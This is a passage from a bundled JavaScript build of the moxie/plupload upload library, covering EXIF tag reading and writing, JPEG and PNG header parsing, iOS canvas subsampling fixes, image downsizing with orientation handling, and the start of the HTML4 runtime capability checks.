8122 for (i = 0; i < length; i++) {
8123 values = [];
8124
8125 // Set binary reader pointer to beginning of the next tag
8126 offset = IFD_offset + 2 + i*12;
8127
8128 tag = tags2extract[data.SHORT(offset)];
8129
8130 if (tag === undefined) {
8131 continue; // Not the tag we requested
8132 }
8133
8134 type = types[data.SHORT(offset+=2)];
8135 count = data.LONG(offset+=2);
8136 size = sizes[type];
8137
8138 if (!size) {
8139 throw new x.ImageError(x.ImageError.INVALID_META_ERR);
8140 }
8141
8142 offset += 4;
8143
8144 // tag can only fit 4 bytes of data, if data is larger we should look outside
8145 if (size * count > 4) {
8146 // instead of data tag contains an offset of the data
8147 offset = data.LONG(offset) + offsets.tiffHeader;
8148 }
8149
8150 // in case we left the boundaries of data throw an early exception
8151 if (offset + size * count >= this.length()) {
8152 throw new x.ImageError(x.ImageError.INVALID_META_ERR);
8153 }
8154
8155 // special care for the string
8156 if (type === 'ASCII') {
8157 hash[tag] = Basic.trim(data.STRING(offset, count).replace(/\0$/, '')); // strip trailing NULL
8158 continue;
8159 } else {
8160 values = data.asArray(type, offset, count);
8161 value = (count == 1 ? values[0] : values);
8162
8163 if (tagDescs.hasOwnProperty(tag) && typeof value != 'object') {
8164 hash[tag] = tagDescs[tag][value];
8165 } else {
8166 hash[tag] = value;
8167 }
8168 }
8169 }
8170
8171 return hash;
8172 }
8173
8174 // At the moment only setting of simple (LONG) values, that do not require offset recalculation, is supported
8175 function setTag(ifd, tag, value) {
8176 var offset, length, tagOffset, valueOffset = 0;
8177
8178 // If tag name passed translate into hex key
8179 if (typeof(tag) === 'string') {
8180 var tmpTags = tags[ifd.toLowerCase()];
8181 for (var hex in tmpTags) {
8182 if (tmpTags[hex] === tag) {
8183 tag = hex;
8184 break;
8185 }
8186 }
8187 }
8188 offset = offsets[ifd.toLowerCase() + 'IFD'];
8189 length = this.SHORT(offset);
8190
8191 for (var i = 0; i < length; i++) {
8192 tagOffset = offset + 12 * i + 2;
8193
8194 if (this.SHORT(tagOffset) == tag) {
8195 valueOffset = tagOffset + 8;
8196 break;
8197 }
8198 }
8199
8200 if (!valueOffset) {
8201 return false;
8202 }
8203
8204 try {
8205 this.write(valueOffset, value, 4);
8206 } catch(ex) {
8207 return false;
8208 }
8209
8210 return true;
8211 }
8212 }
8213
8214 ExifParser.prototype = BinaryReader.prototype;
8215
8216 return ExifParser;
8217});
8218
8219// Included from: src/javascript/runtime/html5/image/JPEG.js
8220
8221/**
8222 * JPEG.js
8223 *
8224 * Copyright 2013, Moxiecode Systems AB
8225 * Released under GPL License.
8226 *
8227 * License: http://www.plupload.com/license
8228 * Contributing: http://www.plupload.com/contributing
8229 */
8230
8231/**
8232@class moxie/runtime/html5/image/JPEG
8233@private
8234*/
8235define("moxie/runtime/html5/image/JPEG", [
8236 "moxie/core/utils/Basic",
8237 "moxie/core/Exceptions",
8238 "moxie/runtime/html5/image/JPEGHeaders",
8239 "moxie/runtime/html5/utils/BinaryReader",
8240 "moxie/runtime/html5/image/ExifParser"
8241], function(Basic, x, JPEGHeaders, BinaryReader, ExifParser) {
8242
8243 function JPEG(data) {
8244 var _br, _hm, _ep, _info;
8245
8246 _br = new BinaryReader(data);
8247
8248 // check if it is jpeg
8249 if (_br.SHORT(0) !== 0xFFD8) {
8250 throw new x.ImageError(x.ImageError.WRONG_FORMAT);
8251 }
8252
8253 // backup headers
8254 _hm = new JPEGHeaders(data);
8255
8256 // extract exif info
8257 try {
8258 _ep = new ExifParser(_hm.get('app1')[0]);
8259 } catch(ex) {}
8260
8261 // get dimensions
8262 _info = _getDimensions.call(this);
8263
8264 Basic.extend(this, {
8265 type: 'image/jpeg',
8266
8267 size: _br.length(),
8268
8269 width: _info && _info.width || 0,
8270
8271 height: _info && _info.height || 0,
8272
8273 setExif: function(tag, value) {
8274 if (!_ep) {
8275 return false; // or throw an exception
8276 }
8277
8278 if (Basic.typeOf(tag) === 'object') {
8279 Basic.each(tag, function(value, tag) {
8280 _ep.setExif(tag, value);
8281 });
8282 } else {
8283 _ep.setExif(tag, value);
8284 }
8285
8286 // update internal headers
8287 _hm.set('app1', _ep.SEGMENT());
8288 },
8289
8290 writeHeaders: function() {
8291 if (!arguments.length) {
8292 // if no arguments passed, update headers internally
8293 return _hm.restore(data);
8294 }
8295 return _hm.restore(arguments[0]);
8296 },
8297
8298 stripHeaders: function(data) {
8299 return _hm.strip(data);
8300 },
8301
8302 purge: function() {
8303 _purge.call(this);
8304 }
8305 });
8306
8307 if (_ep) {
8308 this.meta = {
8309 tiff: _ep.TIFF(),
8310 exif: _ep.EXIF(),
8311 gps: _ep.GPS(),
8312 thumb: _getThumb()
8313 };
8314 }
8315
8316
8317 function _getDimensions(br) {
8318 var idx = 0
8319 , marker
8320 , length
8321 ;
8322
8323 if (!br) {
8324 br = _br;
8325 }
8326
8327 // examine all through the end, since some images might have very large APP segments
8328 while (idx <= br.length()) {
8329 marker = br.SHORT(idx += 2);
8330
8331 if (marker >= 0xFFC0 && marker <= 0xFFC3) { // SOFn
8332 idx += 5; // marker (2 bytes) + length (2 bytes) + Sample precision (1 byte)
8333 return {
8334 height: br.SHORT(idx),
8335 width: br.SHORT(idx += 2)
8336 };
8337 }
8338 length = br.SHORT(idx += 2);
8339 idx += length - 2;
8340 }
8341 return null;
8342 }
8343
8344
8345 function _getThumb() {
8346 var data = _ep.thumb()
8347 , br
8348 , info
8349 ;
8350
8351 if (data) {
8352 br = new BinaryReader(data);
8353 info = _getDimensions(br);
8354 br.clear();
8355
8356 if (info) {
8357 info.data = data;
8358 return info;
8359 }
8360 }
8361 return null;
8362 }
8363
8364
8365 function _purge() {
8366 if (!_ep || !_hm || !_br) {
8367 return; // ignore any repeating purge requests
8368 }
8369 _ep.clear();
8370 _hm.purge();
8371 _br.clear();
8372 _info = _hm = _ep = _br = null;
8373 }
8374 }
8375
8376 return JPEG;
8377});
8378
8379// Included from: src/javascript/runtime/html5/image/PNG.js
8380
8381/**
8382 * PNG.js
8383 *
8384 * Copyright 2013, Moxiecode Systems AB
8385 * Released under GPL License.
8386 *
8387 * License: http://www.plupload.com/license
8388 * Contributing: http://www.plupload.com/contributing
8389 */
8390
8391/**
8392@class moxie/runtime/html5/image/PNG
8393@private
8394*/
8395define("moxie/runtime/html5/image/PNG", [
8396 "moxie/core/Exceptions",
8397 "moxie/core/utils/Basic",
8398 "moxie/runtime/html5/utils/BinaryReader"
8399], function(x, Basic, BinaryReader) {
8400
8401 function PNG(data) {
8402 var _br, _hm, _ep, _info;
8403
8404 _br = new BinaryReader(data);
8405
8406 // check if it's png
8407 (function() {
8408 var idx = 0, i = 0
8409 , signature = [0x8950, 0x4E47, 0x0D0A, 0x1A0A]
8410 ;
8411
8412 for (i = 0; i < signature.length; i++, idx += 2) {
8413 if (signature[i] != _br.SHORT(idx)) {
8414 throw new x.ImageError(x.ImageError.WRONG_FORMAT);
8415 }
8416 }
8417 }());
8418
8419 function _getDimensions() {
8420 var chunk, idx;
8421
8422 chunk = _getChunkAt.call(this, 8);
8423
8424 if (chunk.type == 'IHDR') {
8425 idx = chunk.start;
8426 return {
8427 width: _br.LONG(idx),
8428 height: _br.LONG(idx += 4)
8429 };
8430 }
8431 return null;
8432 }
8433
8434 function _purge() {
8435 if (!_br) {
8436 return; // ignore any repeating purge requests
8437 }
8438 _br.clear();
8439 data = _info = _hm = _ep = _br = null;
8440 }
8441
8442 _info = _getDimensions.call(this);
8443
8444 Basic.extend(this, {
8445 type: 'image/png',
8446
8447 size: _br.length(),
8448
8449 width: _info.width,
8450
8451 height: _info.height,
8452
8453 purge: function() {
8454 _purge.call(this);
8455 }
8456 });
8457
8458 // for PNG we can safely trigger purge automatically, as we do not keep any data for later
8459 _purge.call(this);
8460
8461 function _getChunkAt(idx) {
8462 var length, type, start, CRC;
8463
8464 length = _br.LONG(idx);
8465 type = _br.STRING(idx += 4, 4);
8466 start = idx += 4;
8467 CRC = _br.LONG(idx + length);
8468
8469 return {
8470 length: length,
8471 type: type,
8472 start: start,
8473 CRC: CRC
8474 };
8475 }
8476 }
8477
8478 return PNG;
8479});
8480
8481// Included from: src/javascript/runtime/html5/image/ImageInfo.js
8482
8483/**
8484 * ImageInfo.js
8485 *
8486 * Copyright 2013, Moxiecode Systems AB
8487 * Released under GPL License.
8488 *
8489 * License: http://www.plupload.com/license
8490 * Contributing: http://www.plupload.com/contributing
8491 */
8492
8493/**
8494@class moxie/runtime/html5/image/ImageInfo
8495@private
8496*/
8497define("moxie/runtime/html5/image/ImageInfo", [
8498 "moxie/core/utils/Basic",
8499 "moxie/core/Exceptions",
8500 "moxie/runtime/html5/image/JPEG",
8501 "moxie/runtime/html5/image/PNG"
8502], function(Basic, x, JPEG, PNG) {
8503 /**
8504 Optional image investigation tool for HTML5 runtime. Provides the following features:
8505 - ability to distinguish image type (JPEG or PNG) by signature
8506 - ability to extract image width/height directly from it's internals, without preloading in memory (fast)
8507 - ability to extract APP headers from JPEGs (Exif, GPS, etc)
8508 - ability to replace width/height tags in extracted JPEG headers
8509 - ability to restore APP headers, that were for example stripped during image manipulation
8510
8511 @class ImageInfo
8512 @constructor
8513 @param {String} data Image source as binary string
8514 */
8515 return function(data) {
8516 var _cs = [JPEG, PNG], _img;
8517
8518 // figure out the format, throw: ImageError.WRONG_FORMAT if not supported
8519 _img = (function() {
8520 for (var i = 0; i < _cs.length; i++) {
8521 try {
8522 return new _cs[i](data);
8523 } catch (ex) {
8524 // console.info(ex);
8525 }
8526 }
8527 throw new x.ImageError(x.ImageError.WRONG_FORMAT);
8528 }());
8529
8530 Basic.extend(this, {
8531 /**
8532 Image Mime Type extracted from it's depths
8533
8534 @property type
8535 @type {String}
8536 @default ''
8537 */
8538 type: '',
8539
8540 /**
8541 Image size in bytes
8542
8543 @property size
8544 @type {Number}
8545 @default 0
8546 */
8547 size: 0,
8548
8549 /**
8550 Image width extracted from image source
8551
8552 @property width
8553 @type {Number}
8554 @default 0
8555 */
8556 width: 0,
8557
8558 /**
8559 Image height extracted from image source
8560
8561 @property height
8562 @type {Number}
8563 @default 0
8564 */
8565 height: 0,
8566
8567 /**
8568 Sets Exif tag. Currently applicable only for width and height tags. Obviously works only with JPEGs.
8569
8570 @method setExif
8571 @param {String} tag Tag to set
8572 @param {Mixed} value Value to assign to the tag
8573 */
8574 setExif: function() {},
8575
8576 /**
8577 Restores headers to the source.
8578
8579 @method writeHeaders
8580 @param {String} data Image source as binary string
8581 @return {String} Updated binary string
8582 */
8583 writeHeaders: function(data) {
8584 return data;
8585 },
8586
8587 /**
8588 Strip all headers from the source.
8589
8590 @method stripHeaders
8591 @param {String} data Image source as binary string
8592 @return {String} Updated binary string
8593 */
8594 stripHeaders: function(data) {
8595 return data;
8596 },
8597
8598 /**
8599 Dispose resources.
8600
8601 @method purge
8602 */
8603 purge: function() {
8604 data = null;
8605 }
8606 });
8607
8608 Basic.extend(this, _img);
8609
8610 this.purge = function() {
8611 _img.purge();
8612 _img = null;
8613 };
8614 };
8615});
8616
8617// Included from: src/javascript/runtime/html5/image/MegaPixel.js
8618
8619/**
8620(The MIT License)
8621
8622Copyright (c) 2012 Shinichi Tomita <shinichi.tomita@gmail.com>;
8623
8624Permission is hereby granted, free of charge, to any person obtaining
8625a copy of this software and associated documentation files (the
8626'Software'), to deal in the Software without restriction, including
8627without limitation the rights to use, copy, modify, merge, publish,
8628distribute, sublicense, and/or sell copies of the Software, and to
8629permit persons to whom the Software is furnished to do so, subject to
8630the following conditions:
8631
8632The above copyright notice and this permission notice shall be
8633included in all copies or substantial portions of the Software.
8634
8635THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
8636EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
8637MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
8638IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
8639CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
8640TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
8641SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
8642*/
8643
8644/**
8645 * Mega pixel image rendering library for iOS6 Safari
8646 *
8647 * Fixes iOS6 Safari's image file rendering issue for large size image (over mega-pixel),
8648 * which causes unexpected subsampling when drawing it in canvas.
8649 * By using this library, you can safely render the image with proper stretching.
8650 *
8651 * Copyright (c) 2012 Shinichi Tomita <shinichi.tomita@gmail.com>
8652 * Released under the MIT license
8653 */
8654
8655/**
8656@class moxie/runtime/html5/image/MegaPixel
8657@private
8658*/
8659define("moxie/runtime/html5/image/MegaPixel", [], function() {
8660
8661 /**
8662 * Rendering image element (with resizing) into the canvas element
8663 */
8664 function renderImageToCanvas(img, canvas, options) {
8665 var iw = img.naturalWidth, ih = img.naturalHeight;
8666 var width = options.width, height = options.height;
8667 var x = options.x || 0, y = options.y || 0;
8668 var ctx = canvas.getContext('2d');
8669 if (detectSubsampling(img)) {
8670 iw /= 2;
8671 ih /= 2;
8672 }
8673 var d = 1024; // size of tiling canvas
8674 var tmpCanvas = document.createElement('canvas');
8675 tmpCanvas.width = tmpCanvas.height = d;
8676 var tmpCtx = tmpCanvas.getContext('2d');
8677 var vertSquashRatio = detectVerticalSquash(img, iw, ih);
8678 var sy = 0;
8679 while (sy < ih) {
8680 var sh = sy + d > ih ? ih - sy : d;
8681 var sx = 0;
8682 while (sx < iw) {
8683 var sw = sx + d > iw ? iw - sx : d;
8684 tmpCtx.clearRect(0, 0, d, d);
8685 tmpCtx.drawImage(img, -sx, -sy);
8686 var dx = (sx * width / iw + x) << 0;
8687 var dw = Math.ceil(sw * width / iw);
8688 var dy = (sy * height / ih / vertSquashRatio + y) << 0;
8689 var dh = Math.ceil(sh * height / ih / vertSquashRatio);
8690 ctx.drawImage(tmpCanvas, 0, 0, sw, sh, dx, dy, dw, dh);
8691 sx += d;
8692 }
8693 sy += d;
8694 }
8695 tmpCanvas = tmpCtx = null;
8696 }
8697
8698 /**
8699 * Detect subsampling in loaded image.
8700 * In iOS, larger images than 2M pixels may be subsampled in rendering.
8701 */
8702 function detectSubsampling(img) {
8703 var iw = img.naturalWidth, ih = img.naturalHeight;
8704 if (iw * ih > 1024 * 1024) { // subsampling may happen over megapixel image
8705 var canvas = document.createElement('canvas');
8706 canvas.width = canvas.height = 1;
8707 var ctx = canvas.getContext('2d');
8708 ctx.drawImage(img, -iw + 1, 0);
8709 // subsampled image becomes half smaller in rendering size.
8710 // check alpha channel value to confirm image is covering edge pixel or not.
8711 // if alpha value is 0 image is not covering, hence subsampled.
8712 return ctx.getImageData(0, 0, 1, 1).data[3] === 0;
8713 } else {
8714 return false;
8715 }
8716 }
8717
8718
8719 /**
8720 * Detecting vertical squash in loaded image.
8721 * Fixes a bug which squash image vertically while drawing into canvas for some images.
8722 */
8723 function detectVerticalSquash(img, iw, ih) {
8724 var canvas = document.createElement('canvas');
8725 canvas.width = 1;
8726 canvas.height = ih;
8727 var ctx = canvas.getContext('2d');
8728 ctx.drawImage(img, 0, 0);
8729 var data = ctx.getImageData(0, 0, 1, ih).data;
8730 // search image edge pixel position in case it is squashed vertically.
8731 var sy = 0;
8732 var ey = ih;
8733 var py = ih;
8734 while (py > sy) {
8735 var alpha = data[(py - 1) * 4 + 3];
8736 if (alpha === 0) {
8737 ey = py;
8738 } else {
8739 sy = py;
8740 }
8741 py = (ey + sy) >> 1;
8742 }
8743 canvas = null;
8744 var ratio = (py / ih);
8745 return (ratio === 0) ? 1 : ratio;
8746 }
8747
8748 return {
8749 isSubsampled: detectSubsampling,
8750 renderTo: renderImageToCanvas
8751 };
8752});
8753
8754// Included from: src/javascript/runtime/html5/image/Image.js
8755
8756/**
8757 * Image.js
8758 *
8759 * Copyright 2013, Moxiecode Systems AB
8760 * Released under GPL License.
8761 *
8762 * License: http://www.plupload.com/license
8763 * Contributing: http://www.plupload.com/contributing
8764 */
8765
8766/**
8767@class moxie/runtime/html5/image/Image
8768@private
8769*/
8770define("moxie/runtime/html5/image/Image", [
8771 "moxie/runtime/html5/Runtime",
8772 "moxie/core/utils/Basic",
8773 "moxie/core/Exceptions",
8774 "moxie/core/utils/Encode",
8775 "moxie/file/Blob",
8776 "moxie/file/File",
8777 "moxie/runtime/html5/image/ImageInfo",
8778 "moxie/runtime/html5/image/MegaPixel",
8779 "moxie/core/utils/Mime",
8780 "moxie/core/utils/Env"
8781], function(extensions, Basic, x, Encode, Blob, File, ImageInfo, MegaPixel, Mime, Env) {
8782
8783 function HTML5Image() {
8784 var me = this
8785 , _img, _imgInfo, _canvas, _binStr, _blob
8786 , _modified = false // is set true whenever image is modified
8787 , _preserveHeaders = true
8788 ;
8789
8790 Basic.extend(this, {
8791 loadFromBlob: function(blob) {
8792 var comp = this, I = comp.getRuntime()
8793 , asBinary = arguments.length > 1 ? arguments[1] : true
8794 ;
8795
8796 if (!I.can('access_binary')) {
8797 throw new x.RuntimeError(x.RuntimeError.NOT_SUPPORTED_ERR);
8798 }
8799
8800 _blob = blob;
8801
8802 if (blob.isDetached()) {
8803 _binStr = blob.getSource();
8804 _preload.call(this, _binStr);
8805 return;
8806 } else {
8807 _readAsDataUrl.call(this, blob.getSource(), function(dataUrl) {
8808 if (asBinary) {
8809 _binStr = _toBinary(dataUrl);
8810 }
8811 _preload.call(comp, dataUrl);
8812 });
8813 }
8814 },
8815
8816 loadFromImage: function(img, exact) {
8817 this.meta = img.meta;
8818
8819 _blob = new File(null, {
8820 name: img.name,
8821 size: img.size,
8822 type: img.type
8823 });
8824
8825 _preload.call(this, exact ? (_binStr = img.getAsBinaryString()) : img.getAsDataURL());
8826 },
8827
8828 getInfo: function() {
8829 var I = this.getRuntime(), info;
8830
8831 if (!_imgInfo && _binStr && I.can('access_image_binary')) {
8832 _imgInfo = new ImageInfo(_binStr);
8833 }
8834
8835 info = {
8836 width: _getImg().width || 0,
8837 height: _getImg().height || 0,
8838 type: _blob.type || Mime.getFileMime(_blob.name),
8839 size: _binStr && _binStr.length || _blob.size || 0,
8840 name: _blob.name || '',
8841 meta: _imgInfo && _imgInfo.meta || this.meta || {}
8842 };
8843
8844 // store thumbnail data as blob
8845 if (info.meta && info.meta.thumb && !(info.meta.thumb.data instanceof Blob)) {
8846 info.meta.thumb.data = new Blob(null, {
8847 type: 'image/jpeg',
8848 data: info.meta.thumb.data
8849 });
8850 }
8851
8852 return info;
8853 },
8854
8855 downsize: function() {
8856 _downsize.apply(this, arguments);
8857 },
8858
8859 getAsCanvas: function() {
8860 if (_canvas) {
8861 _canvas.id = this.uid + '_canvas';
8862 }
8863 return _canvas;
8864 },
8865
8866 getAsBlob: function(type, quality) {
8867 if (type !== this.type) {
8868 // if different mime type requested prepare image for conversion
8869 _downsize.call(this, this.width, this.height, false);
8870 }
8871 return new File(null, {
8872 name: _blob.name || '',
8873 type: type,
8874 data: me.getAsBinaryString.call(this, type, quality)
8875 });
8876 },
8877
8878 getAsDataURL: function(type) {
8879 var quality = arguments[1] || 90;
8880
8881 // if image has not been modified, return the source right away
8882 if (!_modified) {
8883 return _img.src;
8884 }
8885
8886 if ('image/jpeg' !== type) {
8887 return _canvas.toDataURL('image/png');
8888 } else {
8889 try {
8890 // older Geckos used to result in an exception on quality argument
8891 return _canvas.toDataURL('image/jpeg', quality/100);
8892 } catch (ex) {
8893 return _canvas.toDataURL('image/jpeg');
8894 }
8895 }
8896 },
8897
8898 getAsBinaryString: function(type, quality) {
8899 // if image has not been modified, return the source right away
8900 if (!_modified) {
8901 // if image was not loaded from binary string
8902 if (!_binStr) {
8903 _binStr = _toBinary(me.getAsDataURL(type, quality));
8904 }
8905 return _binStr;
8906 }
8907
8908 if ('image/jpeg' !== type) {
8909 _binStr = _toBinary(me.getAsDataURL(type, quality));
8910 } else {
8911 var dataUrl;
8912
8913 // if jpeg
8914 if (!quality) {
8915 quality = 90;
8916 }
8917
8918 try {
8919 // older Geckos used to result in an exception on quality argument
8920 dataUrl = _canvas.toDataURL('image/jpeg', quality/100);
8921 } catch (ex) {
8922 dataUrl = _canvas.toDataURL('image/jpeg');
8923 }
8924
8925 _binStr = _toBinary(dataUrl);
8926
8927 if (_imgInfo) {
8928 _binStr = _imgInfo.stripHeaders(_binStr);
8929
8930 if (_preserveHeaders) {
8931 // update dimensions info in exif
8932 if (_imgInfo.meta && _imgInfo.meta.exif) {
8933 _imgInfo.setExif({
8934 PixelXDimension: this.width,
8935 PixelYDimension: this.height
8936 });
8937 }
8938
8939 // re-inject the headers
8940 _binStr = _imgInfo.writeHeaders(_binStr);
8941 }
8942
8943 // will be re-created from fresh on next getInfo call
8944 _imgInfo.purge();
8945 _imgInfo = null;
8946 }
8947 }
8948
8949 _modified = false;
8950
8951 return _binStr;
8952 },
8953
8954 destroy: function() {
8955 me = null;
8956 _purge.call(this);
8957 this.getRuntime().getShim().removeInstance(this.uid);
8958 }
8959 });
8960
8961
8962 function _getImg() {
8963 if (!_canvas && !_img) {
8964 throw new x.ImageError(x.DOMException.INVALID_STATE_ERR);
8965 }
8966 return _canvas || _img;
8967 }
8968
8969
8970 function _toBinary(str) {
8971 return Encode.atob(str.substring(str.indexOf('base64,') + 7));
8972 }
8973
8974
8975 function _toDataUrl(str, type) {
8976 return 'data:' + (type || '') + ';base64,' + Encode.btoa(str);
8977 }
8978
8979
8980 function _preload(str) {
8981 var comp = this;
8982
8983 _img = new Image();
8984 _img.onerror = function() {
8985 _purge.call(this);
8986 comp.trigger('error', x.ImageError.WRONG_FORMAT);
8987 };
8988 _img.onload = function() {
8989 comp.trigger('load');
8990 };
8991
8992 _img.src = str.substr(0, 5) == 'data:' ? str : _toDataUrl(str, _blob.type);
8993 }
8994
8995
8996 function _readAsDataUrl(file, callback) {
8997 var comp = this, fr;
8998
8999 // use FileReader if it's available
9000 if (window.FileReader) {
9001 fr = new FileReader();
9002 fr.onload = function() {
9003 callback(this.result);
9004 };
9005 fr.onerror = function() {
9006 comp.trigger('error', x.ImageError.WRONG_FORMAT);
9007 };
9008 fr.readAsDataURL(file);
9009 } else {
9010 return callback(file.getAsDataURL());
9011 }
9012 }
9013
9014 function _downsize(width, height, crop, preserveHeaders) {
9015 var self = this
9016 , scale
9017 , mathFn
9018 , x = 0
9019 , y = 0
9020 , img
9021 , destWidth
9022 , destHeight
9023 , orientation
9024 ;
9025
9026 _preserveHeaders = preserveHeaders; // we will need to check this on export (see getAsBinaryString())
9027
9028 // take into account orientation tag
9029 orientation = (this.meta && this.meta.tiff && this.meta.tiff.Orientation) || 1;
9030
9031 if (Basic.inArray(orientation, [5,6,7,8]) !== -1) { // values that require 90 degree rotation
9032 // swap dimensions
9033 var tmp = width;
9034 width = height;
9035 height = tmp;
9036 }
9037
9038 img = _getImg();
9039
9040 // unify dimensions
9041 if (!crop) {
9042 scale = Math.min(width/img.width, height/img.height);
9043 } else {
9044 // one of the dimensions may exceed the actual image dimensions - we need to take the smallest value
9045 width = Math.min(width, img.width);
9046 height = Math.min(height, img.height);
9047
9048 scale = Math.max(width/img.width, height/img.height);
9049 }
9050
9051 // we only downsize here
9052 if (scale > 1 && !crop && preserveHeaders) {
9053 this.trigger('Resize');
9054 return;
9055 }
9056
9057 // prepare canvas if necessary
9058 if (!_canvas) {
9059 _canvas = document.createElement("canvas");
9060 }
9061
9062 // calculate dimensions of proportionally resized image
9063 destWidth = Math.round(img.width * scale);
9064 destHeight = Math.round(img.height * scale);
9065
9066 // scale image and canvas
9067 if (crop) {
9068 _canvas.width = width;
9069 _canvas.height = height;
9070
9071 // if dimensions of the resulting image still larger than canvas, center it
9072 if (destWidth > width) {
9073 x = Math.round((destWidth - width) / 2);
9074 }
9075
9076 if (destHeight > height) {
9077 y = Math.round((destHeight - height) / 2);
9078 }
9079 } else {
9080 _canvas.width = destWidth;
9081 _canvas.height = destHeight;
9082 }
9083
9084 // rotate if required, according to orientation tag
9085 if (!_preserveHeaders) {
9086 _rotateToOrientaion(_canvas.width, _canvas.height, orientation);
9087 }
9088
9089 _drawToCanvas.call(this, img, _canvas, -x, -y, destWidth, destHeight);
9090
9091 this.width = _canvas.width;
9092 this.height = _canvas.height;
9093
9094 _modified = true;
9095 self.trigger('Resize');
9096 }
9097
9098
9099 function _drawToCanvas(img, canvas, x, y, w, h) {
9100 if (Env.OS === 'iOS') {
9101 // avoid squish bug in iOS6
9102 MegaPixel.renderTo(img, canvas, { width: w, height: h, x: x, y: y });
9103 } else {
9104 var ctx = canvas.getContext('2d');
9105 ctx.drawImage(img, x, y, w, h);
9106 }
9107 }
9108
9109
9110 /**
9111 * Transform canvas coordination according to specified frame size and orientation
9112 * Orientation value is from EXIF tag
9113 * @author Shinichi Tomita <shinichi.tomita@gmail.com>
9114 */
9115 function _rotateToOrientaion(width, height, orientation) {
9116 switch (orientation) {
9117 case 5:
9118 case 6:
9119 case 7:
9120 case 8:
9121 _canvas.width = height;
9122 _canvas.height = width;
9123 break;
9124 default:
9125 _canvas.width = width;
9126 _canvas.height = height;
9127 }
9128
9129 /**
9130 1 = The 0th row is at the visual top of the image, and the 0th column is the visual left-hand side.
9131 2 = The 0th row is at the visual top of the image, and the 0th column is the visual right-hand side.
9132 3 = The 0th row is at the visual bottom of the image, and the 0th column is the visual right-hand side.
9133 4 = The 0th row is at the visual bottom of the image, and the 0th column is the visual left-hand side.
9134 5 = The 0th row is the visual left-hand side of the image, and the 0th column is the visual top.
9135 6 = The 0th row is the visual right-hand side of the image, and the 0th column is the visual top.
9136 7 = The 0th row is the visual right-hand side of the image, and the 0th column is the visual bottom.
9137 8 = The 0th row is the visual left-hand side of the image, and the 0th column is the visual bottom.
9138 */
9139
9140 var ctx = _canvas.getContext('2d');
9141 switch (orientation) {
9142 case 2:
9143 // horizontal flip
9144 ctx.translate(width, 0);
9145 ctx.scale(-1, 1);
9146 break;
9147 case 3:
9148 // 180 rotate left
9149 ctx.translate(width, height);
9150 ctx.rotate(Math.PI);
9151 break;
9152 case 4:
9153 // vertical flip
9154 ctx.translate(0, height);
9155 ctx.scale(1, -1);
9156 break;
9157 case 5:
9158 // vertical flip + 90 rotate right
9159 ctx.rotate(0.5 * Math.PI);
9160 ctx.scale(1, -1);
9161 break;
9162 case 6:
9163 // 90 rotate right
9164 ctx.rotate(0.5 * Math.PI);
9165 ctx.translate(0, -height);
9166 break;
9167 case 7:
9168 // horizontal flip + 90 rotate right
9169 ctx.rotate(0.5 * Math.PI);
9170 ctx.translate(width, -height);
9171 ctx.scale(-1, 1);
9172 break;
9173 case 8:
9174 // 90 rotate left
9175 ctx.rotate(-0.5 * Math.PI);
9176 ctx.translate(-width, 0);
9177 break;
9178 }
9179 }
9180
9181
9182 function _purge() {
9183 if (_imgInfo) {
9184 _imgInfo.purge();
9185 _imgInfo = null;
9186 }
9187 _binStr = _img = _canvas = _blob = null;
9188 _modified = false;
9189 }
9190 }
9191
9192 return (extensions.Image = HTML5Image);
9193});
9194
9195/**
9196 * Stub for moxie/runtime/flash/Runtime
9197 * @private
9198 */
9199define("moxie/runtime/flash/Runtime", [
9200], function() {
9201 return {};
9202});
9203
9204/**
9205 * Stub for moxie/runtime/silverlight/Runtime
9206 * @private
9207 */
9208define("moxie/runtime/silverlight/Runtime", [
9209], function() {
9210 return {};
9211});
9212
9213// Included from: src/javascript/runtime/html4/Runtime.js
9214
9215/**
9216 * Runtime.js
9217 *
9218 * Copyright 2013, Moxiecode Systems AB
9219 * Released under GPL License.
9220 *
9221 * License: http://www.plupload.com/license
9222 * Contributing: http://www.plupload.com/contributing
9223 */
9224
9225/*global File:true */
9226
9227/**
9228Defines constructor for HTML4 runtime.
9229
9230@class moxie/runtime/html4/Runtime
9231@private
9232*/
9233define("moxie/runtime/html4/Runtime", [
9234 "moxie/core/utils/Basic",
9235 "moxie/core/Exceptions",
9236 "moxie/runtime/Runtime",
9237 "moxie/core/utils/Env"
9238], function(Basic, x, Runtime, Env) {
9239
9240 var type = 'html4', extensions = {};
9241
9242 function Html4Runtime(options) {
9243 var I = this
9244 , Test = Runtime.capTest
9245 , True = Runtime.capTrue
9246 ;
9247
9248 Runtime.call(this, options, type, {
9249 access_binary: Test(window.FileReader || window.File && File.getAsDataURL),
9250 access_image_binary: false,
9251 display_media: Test(extensions.Image && (Env.can('create_canvas') || Env.can('use_data_uri_over32kb'))),
9252 do_cors: false,
9253 drag_and_drop: false,
9254 filter_by_extension: Test(function() { // if you know how to feature-detect this, please suggest
9255 return (Env.browser === 'Chrome' && Env.verComp(Env.version, 28, '>=')) ||
9256 (Env.browser === 'IE' && Env.verComp(Env.version, 10, '>=')) ||
9257 (Env.browser === 'Safari' && Env.verComp(Env.version, 7, '>='));
9258 }()),
9259 resize_image: function() {
9260 return extensions.Image && I.can('access_binary') && Env.can('create_canvas');
9261 },
9262 report_upload_progress: false,
9263 return_response_headers: false,
9264 return_response_type: function(responseType) {
9265 if (responseType === 'json' && !!window.JSON) {
9266 return true;
9267 }
9268 return !!~Basic.inArray(responseType, ['text', 'document', '']);
9269 },
9270 return_status_code: function(code) {
9271 return !Basic.arrayDiff(code, [200, 404]);
9272 },
9273 select_file: function() {
9274 return Env.can('use_fileinput');
9275 },
9276 select_multiple: false,
9277 send_binary_string: false,
9278 send_custom_headers: false,
9279 send_multipart: true,
9280 slice_blob: false,
9281 stream_upload: function() {
9282 return I.can('select_file');
9283 },
9284 summon_file_dialog: function() { // yeah... some dirty sniffing here...
9285 return I.can('select_file') && (
9286 (Env.browser === 'Firefox' && Env.verComp(Env.version, 4, '>=')) ||
9287 (Env.browser === 'Opera' && Env.verComp(Env.version, 12, '>=')) ||
